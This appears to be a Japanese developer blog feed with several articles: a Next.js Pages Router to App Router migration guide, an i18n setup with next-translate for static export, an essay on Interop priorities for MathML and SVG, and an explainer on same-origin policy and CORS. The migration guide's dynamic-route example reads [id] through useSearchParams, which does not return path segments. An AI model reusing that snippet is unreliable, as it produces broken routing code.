Next.jsの従来のPages Routerから新しいApp Routerに移行しましょう。ここの移行により、アプリケーションのルーティング効率と柔軟性が向上します。App Routerは、ファイルシステムベースのルーティング機能が改善されたほか、React Server Componentsが導入されたことなどにより、開発体験を向上させます。
package.jsonファイルのバージョンが最新であることが重要です。依存関係をすべてチェックし、新しいApp Routerと互換性があることを確認しましょう。必要であればアップグレードしてください。この準備を行うことで、移行時に互換性の問題が発生するのを避けることができます。
依存関係はnpm
を使用することで簡単にチェックできます。以下のコマンドを実行してください。
$ npm outdated
/app
ディレクトリを作成するまずは、Next.jsプロジェクトのルートに新しい/app
ディレクトリを作成しましょう。App Routerのファイルやコンポーネントはすべてここに格納されます。
サーバー上でレンダリングされるHTMLドキュメントは、/pages/_document.tsx
ファイルを使用してカスタマイズします。App Routerでは、/app/layout.tsx
ファイルがこの機能を担います。
/pages/_document.tsx
の内容を/app/layout.tsx
という新しいファイルにコピーします。
next/document
のインポートを削除し、<Html>
、<Head>
、<Main />
の各コンポーネントを対応するHTMLコンポーネント(<html>
、<head>
、{children}
)に置き換えます。
<NextScript />
コンポーネントを削除します。
/pages
ディレクトリにある各ページについて、対応するフォルダ構造を/app
ディレクトリに作成する必要があります。
ページのURLパスと一致するフォルダ構造を/app
に作成します。例えば、/pages/about.tsx
にページがある場合、/app/about/page.tsx
ファイルを作成します。
page.tsx
ファイルに元のページコンポーネントの内容をコピーします。
ページコンポーネントがクライアントサイドの機能(Hooks、Browser APIなど)を使用する場合、ファイルの先頭にuse client
ディレクティブを記述してラップする必要があります。
App Routerでは、Next.jsの従来のデータフェッチ方法(getStaticProps
、getServerSideProps
、getStaticPaths
)は使用されません。その代わり、ページコンポーネント内で直接データをフェッチできます。
ページコンポーネント内にgetStaticProps
、getServerSideProps
、getStaticPaths
のいずれかの関数がある場合は削除します。
JavaScript/TypeScriptの標準の非同期関数を使用し、ページコンポーネント内で直接データをフェッチします。
// /pages/about.tsx
import { GetStaticProps } from 'next';
export const getStaticProps: GetStaticProps = async () => {
const data = await fetchSomeData();
return {
props: { data },
};
};
const AboutPage = ({ data }: { data: any }) => {
return (
<div>
<h1>About Page</h1>
<p>{data.message}</p>
</div>
);
};
export default AboutPage;
import { fetchSomeData } from '@/lib/data';
const AboutPage = async () => {
const data = await fetchSomeData();
return (
<div>
<h1>About Page</h1>
<p>{data.message}</p>
</div>
);
};
export default AboutPage;
App Routerでは、Pages Routerで使用されていたものに代わる新しいルーティングのHooksが導入されます。
next/router
からuseRouter()
を使用する代わりに、next/navigation
からuseRouter()
、usePathname()
、useSearchParams()
を使用します。
新しいHooksのuseRouter()
は、pathname
とquery
のプロパティを返しません。代わりに、usePathname()
とuseSearchParams()
を使用します。
// /pages/users/[id].tsx
import { useRouter } from 'next/router';
const UserPage = () => {
const { query } = useRouter();
const userId = query.id as string;
return (
<div>
<h1>User Page</h1>
<p>User ID: {userId}</p>
</div>
);
};
export default UserPage;
// /app/users/[id]/page.tsx
'use client';
import { usePathname, useSearchParams } from 'next/navigation';
const UserPage = () => {
const pathname = usePathname();
const searchParams = useSearchParams();
const userId = searchParams.get('id');
return (
<div>
<h1>User Page</h1>
<p>User ID: {userId}</p>
</div>
);
}
export default UserPage;
App Routerでは、Pages Routerとはエラーハンドリングのアプローチが異なります。
グローバルエラーのハンドリングについては、pages/_error.js
ファイルをapp/error.tsx
に置き換えます。
特定のルートに関連するエラーの処理のためにページフォルダ内に個別のerror.tsx
ファイルを作成します。
// /pages/_error.js
import { NextPageContext } from 'next';
const ErrorPage = ({ statusCode }: { statusCode: number }) => {
return (
<div>
<h1>Error {statusCode}</h1>
<p>An error occurred on the server</p>
</div>
);
};
ErrorPage.getInitialProps = ({ res, err }: NextPageContext) => {
const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
return { statusCode };
};
export default ErrorPage;
// /app/error.tsx
// エラーコンポーネントはClient Componentである必要があります!
'use client';
interface ErrorPageProps {
error: Error & { digest?: string }
reset: () => void;
}
const ErrorPage = ({ error, reset }: ErrorPageProps) => {
return (
<div>
<h1>Error</h1>
<p>{error.message}</p>
<button onClick={
// セグメントの再レンダリングにより復旧を試みます。
() => reset()
}>
Try again
</button>
</div>
);
};
export default ErrorPage;
アプリケーションによっては、APIルートやミドルウェア、カスタムdocument/appコンポーネントなど他の機能も移行する必要があるかもしれません。これらの機能をApp Routerに移行する方法については、Next.jsのドキュメントをご覧ください。
移行が完了したら、アプリケーションのテストを行い、すべての機能が正常に動作することを確認しましょう。Pages RouterとApp Routerで挙動に違いが見られないか注意してみてください。
App RouterとPages Routerは同じNext.jsアプリケーション上に共存できるため、段階的な移行が可能です。App Routerがまだ対応していない特定のレガシー機能を残す必要がある場合などには、そうするとよいでしょう。
Next.jsのPages Routerから新しいApp Routerに移行することで、アプリケーションのルーティング機能を強化し、柔軟性を高めることができます。依存関係をアップデートし、ファイル構造を再構築し、新しいデータフェッチとエラーハンドリングの方法に適応することで、App Routerの機能を最大限活用することができます。少し手間はかかりますが、アプリケーションの効率性と拡張性が向上することで明確なメリットが得られます。
]]>この記事では、Next.jsのプロジェクトにおける国際化対応(i18n)の設定方法について説明します。Next.jsが直接サポートしていない部分の課題を克服しながら、Pages Routerを使用してi18nを実装する方法と、output: exportを使用する方法について検討したいと思います。
国際化ルーティングは、Next.jsのルーティングレイヤーを使用しないためoutput: 'export'
では実装できません。output: 'export'
を使用しないHybrid Next.jsのアプリケーションは完全にサポートされています。
まず初めに、TypeScriptを使用してNext.js v14のプロジェクトを初期化しましょう。TypeScriptの代わりにJavaScriptを使用することもできます。どちらも問題なく使用できます。
次のコマンドを実行してプロジェクトをセットアップしてください。。
`npx create-next-app@latest`
設定中いくつか質問をされますが、好みで回答してください。筆者の場合はPages Routerを選択し、TypeScriptでsrcディレクトリを指定しました。
次に、next.config.jsファイルにoutput: "export"
を追加します。
さらに、output: "export"
の構成とは互換性がないためpages
ディレクトリからapi
フォルダを削除します。
国際化対応では、next-translateパッケージを使用します。本来はoutput: exportに対応していませんが、ご心配なく。その点については後ほどサポートします。
まずはnext-translate
パッケージをインストールしてください。
`npm i next-translate`
プロジェクトのルートレベルにi18n.ts
または.js
という名前のファイルを作成し、次のコードを挿入します。
import { I18nConfig } from "next-translate";
export const i18nConfig = {
locales: ["en", "es"],
defaultLocale: "en",
loader: false,
pages: {
"*": ["common"],
},
defaultNS: "common",
} satisfies I18nConfig;
これがi18nのための基本構成になります。必要に応じて自由にカスタマイズしていただいて構いません。
次に、プロジェクトのルートレベルにlocales
フォルダを作成します。このフォルダには、各言語の翻訳ファイルが格納されます。
pages
ディレクトリ内の_app.ts
ファイルに移動し、I18nProvider
でComponent
をラップします。
import "@/styles/globals.css";
import type { AppProps } from "next/app";
import I18nProvider from "next-translate/I18nProvider";
import { i18nConfig } from "../../i18n";
import commonES from "../../locales/es/common.json";
import commonEN from "../../locales/en/common.json";
const App = ({ Component, pageProps, router }: AppProps) => {
const lang = i18nConfig.locales.includes(router.query.locale as string)
? String(router.query.locale)
: i18nConfig.defaultLocale;
return (
<I18nProvider
lang={lang}
namespaces={{ common: lang === "es" ? commonES : commonEN }}
>
<Component {...pageProps} />
</I18nProvider>
);
};
export default App;
この手順では以下を行いました。
I18nProvider
でComponent
をラップする。I18nProvider
に渡す。次に、src/hooks
ディレクトリにuseI18n.ts
という名前のカスタムフックを作成し、そこに次のコードを挿入します。
import useTranslation from "next-translate/useTranslation";
import { i18nConfig } from "../../i18n";
interface IUseI18n {
namespace?: string;
}
export const useI18n = ({ namespace }: IUseI18n = {}) => {
const { t } = useTranslation(namespace ? namespace : i18nConfig.defaultNS);
return { t };
};
このフックは、設定された名前空間またはデフォルトの名前空間をもとに翻訳を可能にします。
次に、pages
ディレクトリ内のindex.tsx
ファイルを開き、次のコードを挿入します。
import { useI18n } from "@/hooks/useI18n";
export default function Home() {
const { t } = useI18n();
return (
<div>
<p>{t("greeting")}</p>
</div>
);
}
そうすると、次のような文字が表示されます。
「Hurrah(やった!)」無事プロジェクトにi18nを設定できました。しかし、言語検出がまだ残っています。次はその部分を実装しましょう。
先ほど見たように、ロケール値はrouter.query
から取得していました。
次に進むために、pages
ディレクトリ内に[locale]
という名前のフォルダを作成します。
ルートファイルは全てこのフォルダの中に格納されます。
[locale]
フォルダの中にindex.tsx
ファイルを作成し、次のコードを挿入します。
import { useI18n } from "@/hooks/useI18n";
const Home = () => {
const { t } = useI18n();
return (
<div>
<p>{t("greeting")}</p>
</div>
);
};
export default Home;
localhost:3000/en
にアクセスするとコンテンツが英語で表示され、localhost:3000/es
に変えるとスペイン語で表示されます。この機能はダイナミックルートともシームレスに統合します。
pages
フォルダは次のような構造になります。
では、next-language-detectorを使用して言語検出機能を実装し、選択した言語をキャッシュしましょう。 まずはnext-language-detectorをインストールします。
npm i next-language-detector
src
ディレクトリにlib
という名前のフォルダを作成し、その中にlanguageDetector.ts
という名前のファイルを作成します。ファイルを開き、次のコードを挿入します。
import nextLanguageDetector from "next-language-detector";
import { i18nConfig } from "../../i18n";
export const languageDetector = nextLanguageDetector({
supportedLngs: i18nConfig.locales,
fallbackLng: i18nConfig.defaultLocale,
});
同じlib
フォルダの中にredirect.tsx
という名前のファイルを作成し、次のコードを挿入します。
import { useRouter } from "next/router";
import { useEffect } from "react";
import { languageDetector } from "./languageDetector";
export const useRedirect = (to?: string) => {
const router = useRouter();
const redirectPath = to || router.asPath;
// language detection
useEffect(() => {
const detectedLng = languageDetector.detect();
if (redirectPath.startsWith("/" + detectedLng) && router.route === "/404") {
// prevent endless loop
router.replace("/" + detectedLng + router.route);
return;
}
if (detectedLng && languageDetector.cache) {
languageDetector.cache(detectedLng);
}
router.replace("/" + detectedLng + redirectPath);
});
return <></>;
};
次に、pages
ディレクトリの中([locale]
フォルダの外)にあるindex.tsx
ファイルを開き、既存のコードを次のコードに置き換えます。
import { useRedirect } from "@/lib/redirect";
const Redirect = () => {
useRedirect();
return <></>;
};
export default Redirect;
これで、ロケールを指定せずにホームページにアクセスを試みたユーザーは、ロケールページにリダイレクトされるようになります。
しかし、[locale]
フォルダ内の全てのルートについてリダイレクトページを作成するのはあまり効率的ではありません。したがって、ユーザーが言語を指定せずにページにアクセスしようとした場合に特定言語のルートにリダイレクトするLanguageWrapperを作成します。
まずはsrc
ディレクトリの中にwrappers
という名前のフォルダを作成します。このフォルダの中にLanguageWrapper.tsx
という名前のファイルを作成し、次のコードを挿入します。
import { ReactNode, useEffect } from "react";
import { useRouter } from "next/router";
import { languageDetector } from "@/lib/languageDetector";
import { i18nConfig } from "../../i18n";
interface LanguageWrapperProps {
children: ReactNode;
}
export const LanguageWrapper = ({ children }: LanguageWrapperProps) => {
const router = useRouter();
const detectedLng = languageDetector.detect();
useEffect(() => {
const {
query: { locale },
asPath,
isReady,
} = router;
// Check if the current route has accurate locale
if (isReady && !i18nConfig.locales.includes(String(locale))) {
if (asPath.startsWith("/" + detectedLng) && router.route === "/404") {
return;
}
if (detectedLng && languageDetector.cache) {
languageDetector.cache(detectedLng);
}
router.replace("/" + detectedLng + asPath);
}
}, [router, detectedLng]);
return (router.query.locale &&
i18nConfig.locales.includes(String(router.query.locale))) ||
router.asPath.includes(detectedLng ?? i18nConfig.defaultLocale) ? (
<>{children}</>
) : (
<p>Loading...</p>
);
};
次に、_app.tsxファイルにLanguageWrapperを追加します。
あともう一息です。src/components/_shared
ディレクトリにLink.tsx
という名前のコンポーネントを作成し、次のコードを挿入します。
import { ReactNode } from "react";
import NextLink from "next/link";
import { useRouter } from "next/router";
interface LinkProps {
children: ReactNode;
skipLocaleHandling?: boolean;
locale?: string;
href: string;
target?: string;
}
export const Link = ({
children,
skipLocaleHandling,
target,
...rest
}: LinkProps) => {
const router = useRouter();
const locale = rest.locale || (router.query.locale as string) || "";
let href = rest.href || router.asPath;
if (href.indexOf("http") === 0) skipLocaleHandling = true;
if (locale && !skipLocaleHandling) {
href = href
? `/${locale}${href}`
: router.pathname.replace("[locale]", locale);
}
return (
<NextLink href={href} target={target}>
{children}
</NextLink>
);
};
このプロジェクトでは、next/linkコンポーネントの代わりにこのLink
コンポーネントを使用します。
次に、hooks
フォルダの中にuseRouteRedirect.ts
という名前のファイルを作成し、次のコードを挿入します。
import { useRouter } from "next/router";
import { i18nConfig } from "../../i18n";
import { languageDetector } from "@/lib/languageDetector";
export const useRouteRedirect = () => {
const router = useRouter();
const redirect = (to: string, replace?: boolean) => {
const detectedLng = i18nConfig.locales.includes(String(router.query.locale))
? String(router.query.locale)
: languageDetector.detect();
if (to.startsWith("/" + detectedLng) && router.route === "/404") {
// prevent endless loop
router.replace("/" + detectedLng + router.route);
return;
}
if (detectedLng && languageDetector.cache) {
languageDetector.cache(detectedLng);
}
if (replace) {
router.replace("/" + detectedLng + to);
} else {
router.push("/" + detectedLng + to);
}
};
return { redirect };
};
以下に示すとおり、router.push
とrouter.replace
の代わりにこのカスタムフックを使用します。
次に、src/components
ディレクトリの中にLanguageSwitcher.tsx
コンポーネントを作成し、次のコードで特定の言語に切り替えられるようにします。
import { languageDetector } from "@/lib/languageDetector";
import { useRouter } from "next/router";
import Link from "next/link";
interface LanguageSwitcherProps {
locale: string;
href?: string;
asPath?: string;
}
export const LanguageSwitcher = ({
locale,
...rest
}: LanguageSwitcherProps) => {
const router = useRouter();
let href = rest.href || router.asPath;
let pName = router.pathname;
Object.keys(router.query).forEach((k) => {
if (k === "locale") {
pName = pName.replace(`[${k}]`, locale);
return;
}
pName = pName.replace(`[${k}]`, String(router.query[k]));
});
if (locale) {
href = rest.href ? `/${locale}${rest.href}` : pName;
}
return (
<Link
href={href}
onClick={() =>
languageDetector.cache ? languageDetector.cache(locale) : {}
}
>
<button style={{ fontSize: "small" }}>{locale}</button>
</Link>
);
};
お疲れ様です!output: export
を使用してNext.jsのプロジェクトにi18nを無事実装できました。動的に名前空間を切り替える場合など、異なる名前空間から翻訳を読み込みたい場合は、I18nProvider
コンポーネントの中の_app.tsx
で各名前空間とそれぞれに対応する翻訳ファイルを定義する必要があるということを覚えておいてください。
ビルドを作成してからテストを行う前に、pages
ディレクトリに404.tsx
ファイルを作成し、次のコードを挿入してください。
import { FC, useEffect, useState } from "react";
import { NextRouter, useRouter } from "next/router";
import { getRouteRegex } from "next/dist/shared/lib/router/utils/route-regex";
import { getClientBuildManifest } from "next/dist/client/route-loader";
import { parseRelativeUrl } from "next/dist/shared/lib/router/utils/parse-relative-url";
import { isDynamicRoute } from "next/dist/shared/lib/router/utils/is-dynamic";
import { removeTrailingSlash } from "next/dist/shared/lib/router/utils/remove-trailing-slash";
import { Link } from "@/components/_shared/Link";
async function getPageList() {
if (process.env.NODE_ENV === "production") {
const { sortedPages } = await getClientBuildManifest();
return sortedPages;
} else {
if (typeof window !== "undefined" && window.__BUILD_MANIFEST?.sortedPages) {
console.log(window.__BUILD_MANIFEST.sortedPages);
return window.__BUILD_MANIFEST.sortedPages;
}
}
return [];
}
async function getDoesLocationMatchPage(location: string) {
const pages = await getPageList();
let parsed = parseRelativeUrl(location);
let { pathname } = parsed;
return pathMatchesPage(pathname, pages);
}
function pathMatchesPage(pathname: string, pages: string[]) {
const cleanPathname = removeTrailingSlash(pathname);
if (pages.includes(cleanPathname)) {
return true;
}
const page = pages.find(
(page) => isDynamicRoute(page) && getRouteRegex(page).re.test(cleanPathname)
);
if (page) {
return true;
}
return false;
}
/**
* If both asPath and pathname are equal then it means that we
* are on the correct route it still doesnt exist
*/
function doesNeedsProcessing(router: NextRouter) {
const status = router.pathname !== router.asPath;
console.log("Does Needs Processing", router.asPath, status);
return status;
}
const Custom404 = () => {
const router = useRouter();
const [isNotFound, setIsNotFound] = useState(false);
const processLocationAndRedirect = async (router: NextRouter) => {
if (doesNeedsProcessing(router)) {
const targetIsValidPage = await getDoesLocationMatchPage(router.asPath);
if (targetIsValidPage) {
await router.replace(router.asPath);
return;
}
}
setIsNotFound(true);
};
useEffect(() => {
if (router.isReady) {
processLocationAndRedirect(router);
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [router.isReady]);
if (!isNotFound) return null;
return (
<div className="fixed inset-0 flex justify-center items-center">
<div className="flex flex-col gap-10">
<h1>Custom 404 - Page Not Found</h1>
<Link href="/">
<button>Go to Home Page</button>
</Link>
</div>
</div>
);
};
export default Custom404;
ダイナミックルートでページが見つからないエラーを解決するために、pages
ディレクトリに404.tsx
ファイルを入れておく必要があります。
また、ビルド作成後にコードを実行するために、package.json
ファイルに次のコマンドを追加してください。
"preview": "serve out/ -p 3000"
serveパッケージがない場合はインストールしてください。
npm i -D serve
npm run build
とnpm run preview
を実行した後、ポート3000でプロジェクトにアクセスできます。
コード全体はGitHubにあります。一部微調整を加えていますので、よろしければご覧ください。
何かお気づきの点やエラーなどがあればぜひコメントをください。喜んでサポートいたします。よろしくお願いします!
Webプラットフォームにおける優先事項、技術的負債、難解な問題について話しましょう...
ブラウザエンジンプロジェクトは、他のほとんどのソフトウェアプロジェクトと多くの点で似ています。「管理者」は今も、休職中のメンバーなどを考慮に入れながら、マネージャーが統括する専門チームを編成し、予算を割り当てます。優先事項を決め、綿密な計画を立てる必要があります。そして筆者がこれまで見てきたどのプロジェクトとも共通する点として、同じようなプレッシャーや問題に直面します。全ての作業に十分なリソースが確保できることはなく、常に何かしら新たな要求が追加され、技術的負債が積み上がり、時折本当に難解な問題が発生します。 ブラウザエンジンプロジェクトに特殊な点があるとすれば、独立したプログラム以上のものになろうとしていることでしょう。相互運用可能な標準プラットフォームに貢献しようとしているのです。私たちにとって問題なのは、チーム独自の優先事項を「全て」クリアし、一般向けにリリースされるなどして、初めてその恩恵が得られるということです。
これは実際に経験するとつらいものです。
<details>
要素を例に見てみましょう。これは文字通り最も単純なインタラクティブ要素です。これまでの経緯を以下に整理します。
<details>
を導入リリースから全てのブラウザに導入されるまで9年もかかりました。新たに定義された、ブラウザ普及率が100%に限りなく近い状態になったことを示す「Baseline: Widely Available」の条件を満たすのにさらに3年かかります。つまり、実質的には昨年ようやくWidely Availableとなったということです。
しかも、これはまだ初期段階であり、かつ魅力的な部分にすぎません。当然、これからバグが見つかって、新たなテストが追加され、最終的には改良版やアップグレードなどがリリースされます。現在も、ページ内検索などを改善したり、呼び出し元などの新しい概念を追加したりするたびに、テストが失敗する場合があり、<details>
のサポート状況をばらばらなものにしています。
時間とともに、機能マトリクスの項目は増え続け、要件をクリアするよりも速いペースで未対応事項が増えています。技術的負債は積み上がる一方です。
Interopは当初、技術的負債を減らすための手段として考案されました。優先事項を協力して選び、不合格を示す赤い四角を全部緑色に変えていく取り組みです。しかし、優先事項の判断は難しい問題です。
私たちは毎年おおよそ100件程度の要件を優先事項として指定されます。しかし、Interopは単にブラウザメーカーが同じ優先事項に合意する手助けをしているにすぎません。リソース自体が有限なのは変わりません。つまり、何かを優先するということは、必然的に他のものは優先しないということになります。
また、何を優先するか、なぜ優先すべきかについて、多くの競合圧力を各方面から受けます。
例えば、初期開発に共同で集中的に取り組むことができれば、デベロッパーにとっては極めて効率的です、といったことを言われるわけです。2011年、あるいは2012年に<details>
を極めて高い品質で全てのブラウザに実装できていたらどうだったか、想像してみてください。
いくつかの新機能に共同で取り組む利点は他にもあります。まず、開発に携わる人々の熱意が違います。また、誰もが同じテーマについて同時に話すようになるため、誰も大きなイベントを見逃すことがなくなります。その結果、普及も早まります。ECMAの年次版のようなものも得られます。したがって、昨年InteropがCSSネスティング、ポップオーバー、相対カラー構文、宣言型Shadow DOMなどの領域を追加したのは意外ではありません。
しかしその一方で、すでにサポート状況がばらばらな機能も多くあります。これらは優先順位を判断するのが極めて難しく、いたるところに見られます。当然それぞれ価値が異なり、その価値についても議論の余地があります。対象となるコミュニティが全く異なる場合もあります。エンジンによってかかるコストが違う場合もあります。 こうした状況が重なることで、常に難解な問題がつきまといます。ニーズとしていつまでも、時に極めて長い期間残り続けます。
こうした長期間にわたる難解な問題については、どういうわけか一向に優先順位が決まりませんが、筆者は今年、これらの問題を優先順位付けする方法を見つけなければならないと主張したいと思います。5年、7年、あるいは10年ごとに、こうしたプロジェクトに集中して取り組む必要があるかもしれません。
筆者のブログの読者やIgalia社のポッドキャストのリスナーは、MathML(Mathematical Markup Language)とSVGがおそらくこうした問題の最たる例であることをご存じでしょう。いずれも最古のWeb規格に数えられ、最初のバージョンがリリースされた時期はHTML4.0やCSS2と重なります。HTMLパーサーに特別に組み込まれ、現在はHTML Living Standard(MathML、SVG)に組み込まれています。
しかし、いずれも歴史的に大幅な資金不足の状態にあり、実際の作業の大半はボランティアや管理者以外の組織が担っています。26年が経った今もなお、最後の重要な作業に取り組む決心ができないのです。
そのため、Interopには毎年両方について要望が寄せられています。
2024年の「State of HTML」アンケートでは、デベロッパーが挙げるコンテンツの課題として<svg>
がトップに選ばれ、「ブラウザサポート」に起因する課題の倍近くの得票数でした。SVGの他の使用方法は含めず、<svg>
要素だけでもHTTPアーカイブデータのHTMLページの55%以上で使われています。約130個あるHTMLの要素のうち、<svg>
よりも使用されているhtml要素は27個だけです。SVGは、Webエンジンを利用する埋め込みアプリケーションでも多用されています。
数式コンテンツは、arXivやWikipediaなど無数の数式を使用する特定のサイトや、オンライン教育や書籍に多く見られます。HttpArchiveのクロールは、主にあまり数式が使われない一般向けのホームページを対象にしているため、その測定にはあまり向いていません。しかしクロールでも、ネイティブ関数のレンダリングではなくギャップの橋渡しを行う最も一般的な2つのJavaScriptライブラリが、多くのページで読み込まれるのを見ます。これはパフォーマンスに悪影響を及ぼしますが、特殊な問題です。テキストのレンダリングにJavaScriptは必要ありません。また、Adobe InDesignやMicrosoft Wordなどの多くのドキュメント編集ツールもMathMLをサポートしています。これらはすでに多くのスクリプトが要求される複雑なアプリケーションであり、もしサポートが不十分な場合、さらに多くのスクリプトを読み込む必要があるということです。
Igalia社は、資金提供を受けながら自社資金も投じて実装や改善を行ってきました。開発を前に進めるために、私たちは毎年一定の出資を行っています。しかし、この方法では遅々として進みません。最後の作業を成し遂げるためには、共同での取り組みが必要です。そうすれば、はるかに速いペースで前に進み、大いに改善できるはずです。
これらの問題に集中的に取り組み、改善を推し進める考えに賛同していただける方は、ぜひ私たちや他のベンダーにご連絡ください。力になっていただけると思います。
もちろん、そう簡単には行かない可能性もあると思います。これまではそうでした。ベンダー以外の開発者が作業を行うことや、外部からの資金提供が有効であることは実証済みです。Igalia社はこれからも地道な取り組みを続けていきますが、外部からの資金提供がなければ、自らの出資だけでは限界があります。これらの取り組みの恩恵を受ける企業には、一部の作業への出資をご検討いただけるとありがたいです。もしくは、MathMLに関する作業に直接出資していただくことも可能です。
]]>無垢な仔猫の写真を集めたウェブサイトを訪問したと想像してみてください。かわいい仔猫達の写真の背後には、このウェブサイトの強大な力が隠れています。誰かがウェブサイトにアクセスすると、サイトのオーナーはその訪問者のネット上の行動に関するあらゆる情報を入手できます。その中には、銀行取引情報、SNS上の投稿やメッセージ、メール、オンラインの購買データなどが含まれます。あなたが受ける信用面や金銭面の損害はどれほどのものになるでしょうか。あなたのメッセージが流出し、銀行口座のお金が使い込まれるかもしれません。しかし幸いなことに、実際にはそのような状況は起こりません。それは、SOPとCORSのお陰なのです。
少し前の技術になりますが、皆さんがよくご存知のAjaxについてまずお話します。Ajaxとは、ブラウザがバックグラウンドでリクエストを送信できるようにするためのJavaScriptの仕組みです。ウェブサイトのクライアントサイドアプリケーションでは、一般的にAjaxを使用してAPIサーバーに情報をリクエストします。Ajaxはクライアント側で実行されます。つまり、ユーザーがウェブサイトにアクセスする際、ブラウザがAjaxリクエストを送信するということです。この記事では、ボブという名前のインターネットユーザーの事例を検討してみましょう。
example.comというウェブサイトにリクエストを送信する際、Ajaxに「認証情報を使用する」よう伝えることができます。この場合、ブラウザはボブがexample.com
に関するCookieを保存しているかチェックします。保存している場合、ブラウザはAjaxリクエストによりCookieを送信します。ボブがexample.com上で認証されれば、ウェブサイトはボブを認識します。ブラウザはボブのIDでAjaxリクエストを送信します。
あなたがサイバーセキュリティに熱心であれば、ある疑問が思い浮かんだかもしれません。すなわち、もし自分が悪意のあるウェブサイトを作成したならば、認証情報を含めてGmailのウェブサイトにAjaxリクエストを送信し、訪問者のメールをすべて取得すればよいのではないか、という疑問です。
この疑問が浮かんだ方は、悪の才能があるかもしれません。ですが、その企みはうまく行きません。SOPとCORSという2つの仕組みがあるからです。
SOPはSame Origin Policyの略で、「同一オリジンポリシー」という意味です。この仕組みは、ウェブサイトAがオリジンの異なるウェブサイトBのリソースを読み込めないようにするものです。SOPは、ウェブサイトとサイト上に保存されたユーザーのデータが、悪意のあるウェブサイトによってアクセスされないよう保護します。
CORSはCross-Origin Resource Sharingの略で、「オリジン間リソース共有」という意味です。CORSは、SOPの仕組みに例外を追加できる一連のルールです。SOPのポリシーを緩めることで、ウェブサイトAがオリジンの異なるウェブサイトBからリソースを読み込めるようにします。
ウェブサイトのオリジンは、ドメイン、プロトコルスキーム、ネットワークポートの組み合わせです。2つのURLの間でこれらのいずれかが異なる場合、ブラウザはオリジンが異なるとみなします。https://www.devsecurely.com/を例に見てみましょう。このウェブサイトが以下のいずれかのウェブサイトにAjaxリクエストを送信した場合、ブラウザはクロスオリジン(異なるオリジン)とみなします。
ウェブサイトがオリジンの異なるURLにHTTPリクエストを送信した場合、このリクエストはクロスオリジンリクエストとみなされます。同一オリジンリクエストとは扱いが異なります。クロスオリジンリクエストの扱い方に関するルールは複雑です。この記事では、すべての要素とルールを見ていきます。準備はいいですか?
まずは認証情報を使用するか否かでAjaxリクエストにどのような影響があるのか見てみましょう。明確化のため、https://hacker.com
からhttps://gmail.com
にAjaxリクエストを送信する例について検討します。
「認証情報を含める」は、Ajaxで有効化できるオプションです。ブラウザに対し、Gmail上のユーザーのCookieをAjaxリクエストに含めるよう指示します。そうすることで、Gmailはボブのブラウザから送られたリクエストであると分かります。レスポンスには、ボブのGmailアカウントに関連する情報が含まれます。例えば、https://gmail.com/emails
に対してAjaxリクエストを送ると、レスポンスにはボブのメールが含まれます。
これは危険なシナリオです。どのウェブサイトでもAjaxリクエストを送ることで訪問者のメールを取得することが出来たなら、インターネットは野生のジャングルのようになってしまうでしょう。インターネットプロトコルを設計したエンジニアたちが、そうならないようにしたのです。
一方で、「認証情報を含める」を有効化しなかった場合、AjaxリクエストにはCookieは含まれません。Gmailのウェブサイトは、ボブが別のブラウザタブでGmailアカウントにログインしていたとしても、ボブのブラウザを匿名のユーザーとして扱います。したがって、Ajaxリクエストに対するレスポンスには、一切個人情報は含まれません。
ブラウザは、ウェブサイトAからウェブサイトBにAjaxリクエストを送る際、ウェブサイトBのCORSルールを参照し、どのように振る舞うかを判断します。ブラウザが従うCORSルールを定義するのはウェブサーバーBです。これらのルールは、特定のHTTPレスポンスヘッダー内で定義されます。最も重要なヘッダーはAccess-Control-Allow-OriginとAccess-Control-Allow-Credentialsです。それぞれの役割と取り得る値については後ほど説明します。
あるウェブサイトが別のウェブサイトにAjaxリクエストを行った場合(クロスオリジンリクエスト)、ブラウザはCORSポリシーを確認し、Ajaxリクエストの扱い方を判断します。 ブラウザは次の2つについて判断する必要があります。
一部のAjaxの設定の仕方によっては、、ブラウザはCORSポリシーをチェックせずにリクエストを行います。そうでない場合は、ブラウザはCORSポリシーをチェックした上でリクエストを行うか否かを判断する必要があります。後者の場合、ブラウザはまずHTTP OPTIONSリクエストをURLに対して行い、CORSポリシーを取得します。これをプリフライトリクエストと言います。
ブラウザがどのようにしてCORSポリシーチェックを行うかは後ほど説明します。ここでは、ウィキペディアにある以下のデシジョンツリー(決定木)を見てみましょう。ブラウザがリクエストを行う前にCORSポリシーをチェックする際の条件が説明されています。
CORSチェックなしでブラウザがリクエストを行う条件を以下に挙げます。
ブラウザはなぜCORSポリシーをチェックせずにこれらのリクエストを行うのでしょうか。それは、これらがAjaxを使わずにウェブサイトが実行できるリクエストだからです。
他のすべてのシナリオでは、ブラウザはプリフライトリクエストを行います。次にCORSポリシーをチェックし、リクエストを送信するか判断します。
ブラウザは、Ajaxリクエストを行う場合、JavaScriptコードがレスポンスにアクセスできるようにするか判断する必要があります。ブラウザはレスポンスからCORSポリシーを取得し、AjaxリクエストがCORSポリシーと一致するか確認します。 一致する場合、JavaScriptコードはレスポンスにアクセスできます。一致しない場合、JavaScriptコードはレスポンスにアクセスできず、JavaScriptコンソールにエラーメッセージが表示されます。 次のセクションでは、CORSポリシーのチェックプロセスについて説明します。
要約すると、ブラウザは以下の2つのケースでCORSポリシーをチェックします。
ブラウザは以下の要素をチェックします。
これらの条件のいずれかが満たされていない場合、CORSポリシーのチェック全体が失敗して以下の結果となります。 ブラウザがリクエストを行う前にCORSチェックを実行する場合、リクエストを送信しません。 ブラウザがリクエストを行った後でCORSチェックを実行する場合、JavaScriptコードはレスポンスにアクセスできません。
以下の図はCORSのデシジョンツリーをまとめたものです。
ブラウザのメンテナーがユーザーを保護するためにCORSの仕組みを設計しました。ユーザーがうっかり悪意のあるウェブサイトにアクセスしてしまうかもしれないからです。優れたCORSポリシーは、悪意のあるウェブサイトがユーザーのIDを使ってあなたのウェブサイトにHTTPリクエストを送信できないようにします。
CORSポリシーは、HTTPレスポンスヘッダーを用いて定義されます。したがって、デベロッパーには他のオリジンからの悪意のあるリクエストを防ぐことができる、十分厳格なCORSポリシーを定義することが求められます。
CORSは、Cookie(セッションCookieなど)を使用してユーザー認証を行うウェブサイトに特に関係します。これは、「認証情報を含める」Ajax設定の場合、ブラウザが自動的にCookieをリクエストとともに送信するからです。そうすると、リクエストは正当なユーザーから届いたように見えます。
